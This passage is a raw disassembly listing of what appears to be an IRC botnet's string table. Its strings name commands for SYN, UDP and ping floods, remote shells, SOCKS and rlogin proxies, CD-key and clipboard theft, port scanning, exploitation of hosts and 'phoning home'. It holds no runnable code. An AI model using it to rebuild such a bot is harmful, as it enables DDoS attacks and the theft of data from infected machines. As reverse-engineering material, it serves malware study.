		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToStar_0	db ' Failed to start server thread, error: <%d>.',0
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401CC1+D01o
		align 10h
aServer_0	db 'Server',0           ; DATA XREF: sub_401CC1+D1Ao
		align 4
dword_441B48	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0	; DATA XREF: sub_401CC1+D1Fo
aSocks4		db 'socks4',0           ; DATA XREF: sub_401CC1+D41o
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401CC1+D56o
		align 4
dword_441B68	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401CC1+2733o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_441B90	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401CC1+27A2o
aFailedToStar_1	db '- Failed to start server thread, error: <%d>.',0
		align 4
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401CC1+D6Bo
		align 4
aServer_1	db 'Server',0           ; DATA XREF: sub_401CC1+D84o
		align 10h
dword_441BE0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401CC1+D89o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401CC1+D91o
		align 4
aServer_2	db 'Server',0           ; DATA XREF: sub_401CC1+DAAo
		align 4
dword_441C04	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401CC1+DAFo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401CC1+DBAo
		align 10h
aServer_3	db 'Server',0           ; DATA XREF: sub_401CC1+DD3o
		align 4
dword_441C28	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401CC1+DD8o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401CC1+DE3o
aLogList	db 'Log list',0         ; DATA XREF: sub_401CC1+DFCo
		align 4
dword_441C4C	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401CC1+E01o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401CC1+E0Co
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_401CC1+E25o
		align 4
dword_441C78	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401CC1+E2Ao
dword_441C88	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401CC1+E35o
dword_441C94	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+E4Eo
dword_441CA0	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401CC1+E53o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401CC1+E5Eo
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_401CC1+E77o
		align 10h
dword_441CC0	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC1+E7Co
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401CC1+E87o
		align 4
aSkysynFlood	db 'SkySyn flood',0     ; DATA XREF: sub_401CC1+EA0o
		align 4
dword_441CE8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401CC1+EA5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401CC1+EB0o
		align 4
aTarga3Flood	db 'Targa3 flood',0     ; DATA XREF: sub_401CC1+EC9o
		align 4
dword_441D14	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401CC1+ECEo
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401CC1+ED9o
		align 10h
aWonkFlood	db 'Wonk flood',0       ; DATA XREF: sub_401CC1+EF2o
		align 4
dword_441D3C	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401CC1+EF7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401CC1+F02o
		align 4
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_401CC1+F26o
		align 10h
dword_441D60	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401CC1+F2Bo
dword_441D6C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401CC1+F41o
dword_441D78	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC1+F46o
dword_441D84	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401CC1+F5Fo
dword_441D90	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC1+F64o
dword_441D9C	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+F7Ao
dword_441DA8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401CC1+F7Fo
dword_441DB4	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401CC1+F98o
dword_441DC4	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401CC1+F9Do
dword_441DD4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+FB3o
dword_441DE0	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401CC1+FB8o
dword_441DEC	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401CC1+FD1o
dword_441DFC	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401CC1+FD6o
dword_441E0C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401CC1+FECo
dword_441E1C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401CC1+FF1o
dword_441E2C	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401CC1+100Ao
dword_441E3C	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401CC1+100Fo
unk_441E4C	db  2Dh	; -		; DATA XREF: sub_401CC1+1026o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401CC1+103Do
aTsunamiFlood	db 'Tsunami flood',0    ; DATA XREF: sub_401CC1+1056o
		align 4
dword_441E9C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401CC1+105Bo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401CC1+1066o
		align 4
aWisdomAttack	db 'Wisdom attack',0    ; DATA XREF: sub_401CC1+107Fo
		align 4
dword_441EC8	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401CC1+1084o
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401CC1+108Fo
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_401CC1+10A8o
		align 4
dword_441EEC	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC1+10ADo
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401CC1+10B8o
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_401CC1+10D1o
		align 10h
dword_441F10	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401CC1+10D6o
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401CC1+10E1o
		align 4
aServer_4	db 'Server',0           ; DATA XREF: sub_401CC1+10FAo
		align 10h
dword_441F30	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401CC1+10FFo
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401CC1+110Ao
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401CC1+111Fo
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_401CC1+267Bo
		align 4
dword_441F64	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401CC1+2680o
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401CC1+1134o
		align 10h
aClone		db 'Clone',0            ; DATA XREF: sub_401CC1+114Do
		align 4
dword_441F88	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401CC1+1152o
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401CC1+115Do
		align 4
aSecure		db 'Secure',0           ; DATA XREF: sub_401CC1+1176o
		align 4
dword_441FAC	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401CC1+117Bo
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401CC1+1186o
		align 4
aScan_0		db 'Scan',0             ; DATA XREF: sub_401CC1+119Fo
		align 10h
dword_441FD0	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401CC1+11A4o
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401CC1+11AFo
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401CC1+11C4o
		align 10h
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401CC1+11D9o
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401CC1+11EEo
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401CC1+1203o
		align 4
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401CC1+1218o
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401CC1+122Do
aExplist	db 'explist',0          ; DATA XREF: sub_401CC1+1242o
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401CC1+1257o
		align 4
aR:					; DATA XREF: sub_401CC1+126Co
		unicode	0, <r>,0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_4042BCo
		align 10h
dword_442060	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401CC1+2608o
		dd 676E6974h, 2Eh
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401CC1+1281o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401CC1+1296o
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_40429Ao
		align 4
dword_4420A4	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401CC1+25E6o
		dd 6E697463h, 2E67h
aQuit_0		db 'quit',0             ; DATA XREF: sub_401CC1+12ABo
		align 4
aQ:					; DATA XREF: sub_401CC1+12C0o
		unicode	0, <q>,0
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+25B1o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_404284o
		align 4
aStatus		db 'status',0           ; DATA XREF: sub_401CC1+12D5o
		align 10h
aS:					; DATA XREF: sub_401CC1+12EAo
		unicode	0, <s>,0
unk_4420F4	db  2Dh	; -		; DATA XREF: sub_401CC1+2565o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
aId		db 'id',0               ; DATA XREF: sub_401CC1+12FFo
		align 4
aI_1:					; DATA XREF: sub_401CC1+1314o
		unicode	0, <i>,0
dword_442128	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401CC1+2527o
		dd 2E7325h
aReboot		db 'reboot',0           ; DATA XREF: sub_401CC1+1329o
		align 4
unk_442148	db  2Dh	; -		; DATA XREF: sub_401CC1+1340o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
unk_442168	db  2Dh	; -		; DATA XREF: sub_401CC1+1347o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
aThreads	db 'threads',0          ; DATA XREF: sub_401CC1+137Bo
aT:					; DATA XREF: sub_401CC1+1390o
		unicode	0, <t>,0
aSub		db 'sub',0              ; DATA XREF: sub_401CC1+246Eo
dword_4421A0	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401CC1+2494o
		dd 65726874h, 2E736461h, 0
unk_4421C0	db  2Dh	; -		; DATA XREF: sub_401CC1+2509o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStartL	db '- Failed to start list thread, error: <%d>.',0
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401CC1+13A5o
aAl		db 'al',0               ; DATA XREF: sub_401CC1+13BAo
		align 4
dword_442208	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401CC1+241Co
		dd 2E7473h
aLo0g		db 'lo0g',0             ; DATA XREF: sub_401CC1+13CFo
		align 4
aL0g		db 'l0g',0              ; DATA XREF: sub_401CC1+13E4o
aS_0		db '%s',0               ; DATA XREF: sub_401CC1+2341o
		align 10h
dword_442230	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401CC1+2374o
		dd 2E676Fh
unk_442248	db  2Dh	; -		; DATA XREF: sub_401CC1+2401o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToStar_2	db '- Failed to start listing thread, error: <%d>.',0
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401CC1+13F9o
		align 4
aClg		db 'clg',0              ; DATA XREF: sub_401CC1+140Eo
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401CC1+1423o
aNi		db 'ni',0               ; DATA XREF: sub_401CC1+1438o
		align 4
dword_44229C	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401CC1+22F0o
		dd 6F666E49h, 2Eh
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401CC1+144Do
aSi		db 'si',0               ; DATA XREF: sub_401CC1+1462o
		align 4
dword_4422C4	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401CC1+22C1o
		dd 2E6F666Eh, 0
aRemov10e	db 'remov10e',0         ; DATA XREF: sub_401CC1+1477o
		align 4
aR010m		db 'r010m',0            ; DATA XREF: sub_401CC1+148Co
		align 4
dword_4422F4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401CC1+226Co
		dd 746F4220h, 2Eh
aProcs		db 'procs',0            ; DATA XREF: sub_401CC1+14A1o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401CC1+14B6o
		align 4
unk_44231C	db  2Dh	; -		; DATA XREF: sub_401CC1+2159o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunning	db ' Already running.',0
		align 4
aFull		db 'full',0             ; DATA XREF: sub_401CC1+21BBo
		align 4
dword_442344	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401CC1+21DBo
		dd 696C2073h, 2E7473h
unk_442360	db  2Dh	; -		; DATA XREF: sub_401CC1+2250o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToStar_3	db ' Failed to start listing thread, error: <%d>.',0
		align 4
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401CC1+14CBo
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401CC1+14E0o
dword_4423AC	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401CC1+2130o
aSearchComplete	db '- Search completed.',0
aUptime		db 'uptime',0           ; DATA XREF: sub_401CC1+14F5o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401CC1+150Ao
		align 4
dword_4423D8	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401CC1+20E1o
		dd 2E7325h
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401CC1+151Fo
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401CC1+1534o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401CC1+1549o
		align 4
aDll		db 'dll',0              ; DATA XREF: sub_401CC1+155Eo
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401CC1+1573o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401CC1+1588o
		align 10h
unk_442420	db  2Dh	; -		; DATA XREF: sub_401CC1+2029o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_44244C	db  2Dh	; -		; DATA XREF: sub_401CC1+2048o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_442474	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_403D13o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401CC1+159Do
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_401CC1+15B6o
		align 4
dword_4424AC	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401CC1+15BBo
dword_4424B8	dd 6F6877h		; DATA XREF: sub_401CC1+15C6o
dword_4424BC	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401CC1+15E3o
dword_4424D0	dd 706D453Ch, 3E7974h	; DATA XREF: sub_401CC1:loc_4032CEo
dword_4424D8	dd 202E6425h, 7325h	; DATA XREF: sub_401CC1+161Ao
unk_4424E0	db  2Dh	; -		; DATA XREF: sub_401CC1+164Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401CC1+16DCo
aGc		db 'gc',0               ; DATA XREF: sub_401CC1+16F1o
		align 10h
dword_442510	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401CC1+1FE5o
		dd 2Dh
dword_442528	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401CC1+2013o
		dd 72616F62h, 2E64h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401CC1+1706o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401CC1+171Bo
		align 4
unk_442558	db  2Dh	; -		; DATA XREF: sub_401CC1+1FBAo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_44257C	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_403C82o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401CC1+1730o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401CC1+1745o
		align 4
unk_4425BC	db  2Dh	; -		; DATA XREF: sub_401CC1+1F9Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_4425E0	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_403C64o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_44260C	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_403C6Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401CC1+175Ao
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401CC1+176Fo
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401CC1+1784o
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401CC1+1799o
		align 10h
unk_442660	db  2Dh	; -		; DATA XREF: sub_401CC1+1EDAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_44269C	db  2Dh	; -		; DATA XREF: sub_401CC1+1F49o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToStar_4	db '- Failed to start server thread, error: <%d>.',0
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401CC1+17AEo
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401CC1+17C3o
		align 4
unk_4426EC	db  2Dh	; -		; DATA XREF: sub_401CC1+1D8Co
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_442728	db  2Dh	; -		; DATA XREF: sub_401CC1+1DF7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_5	db ' Failed to start server thread, error: <%d>.',0
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401CC1+17D8o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401CC1+17EDo
		align 4
unk_442778	db  2Dh	; -		; DATA XREF: sub_401CC1+1B64o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_0	db ' Already running.',0
		align 4
unk_442798	db  2Dh	; -		; DATA XREF: sub_401CC1+1C16o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_4427CC	db  2Dh	; -		; DATA XREF: sub_401CC1+1C85o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_6	db ' Failed to start server thread, error: <%d>.',0
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401CC1+1802o
aVall		db 'vall',0             ; DATA XREF: sub_401CC1+1813o
		align 4
unk_442818	db  2Dh	; -		; DATA XREF: sub_401CC1+18A0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
unk_442858	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_40380Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_7	db '- Failed to start scan, port is invalid.',0
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_401CC1+1A5Eo
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401CC1+1A65o
		align 4
unk_4428A4	db  2Dh	; -		; DATA XREF: sub_401CC1+1A90o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
unk_442910	db  2Dh	; -		; DATA XREF: sub_401CC1+1B01o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_8	db '- Failed to start scan thread, error: <%d>.',0
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401CC1+1824o
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+183Fo
		align 4
aSpoof		db 'spoof',0            ; DATA XREF: sub_401CC1+166Fo
		align 4
aOff		db 'off',0              ; DATA XREF: sub_401CC1+1683o
unk_442988	db  2Dh	; -		; DATA XREF: sub_401CC1+169Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aGet_1		db 'get',0              ; DATA XREF: sub_401CC1:loc_40465Eo
unk_4429B4	db  2Dh	; -		; DATA XREF: sub_401CC1+29BFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401CC1+2A18o
		align 4
unk_4429F8	db  2Dh	; -		; DATA XREF: sub_401CC1+2A30o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurr_0	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
unk_442A30	db  2Dh	; -		; DATA XREF: sub_401CC1+2A50o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
unk_442A64	db  2Dh	; -		; DATA XREF: sub_401CC1+2A7Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: sub_401CC1+2A9Ao
unk_442A98	db  2Dh	; -		; DATA XREF: sub_401CC1+2B18o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
unk_442AC8	db  2Dh	; -		; DATA XREF: sub_401CC1+2B8Ao
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401CC1+2B97o
		align 4
aRin		db 'rin',0              ; DATA XREF: sub_401CC1+2BAEo
aQuitReconnec_1	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_408C18o
		align 4
unk_442B34	db  2Dh	; -		; DATA XREF: sub_401CC1+6F6Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401CC1+2BC5o
aRinms		db 'rinms',0            ; DATA XREF: sub_401CC1+2BDCo
		align 4
aQuitReconnec_0	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_408BD6o
		align 4
unk_442B8C	db  2Dh	; -		; DATA XREF: sub_401CC1+6F29o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401CC1+2BF3o
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401CC1+2C14o
		align 10h
unk_442BC0	db  2Dh	; -		; DATA XREF: sub_401CC1+2C68o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aPm_1		db 'pm',0               ; DATA XREF: sub_401CC1+2C98o
		align 10h
asc_442BF0:				; DATA XREF: sub_401CC1+2CB3o
		unicode	0, < >,0
a__5:					; DATA XREF: sub_401CC1+2CB8o
		unicode	0, <_>,0
aPrivmsgSS_3	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC1+2CE4o
		align 4
aCt		db 'ct',0               ; DATA XREF: sub_401CC1+2CFFo
		align 4
asc_442C0C:				; DATA XREF: sub_401CC1+2D1Ao
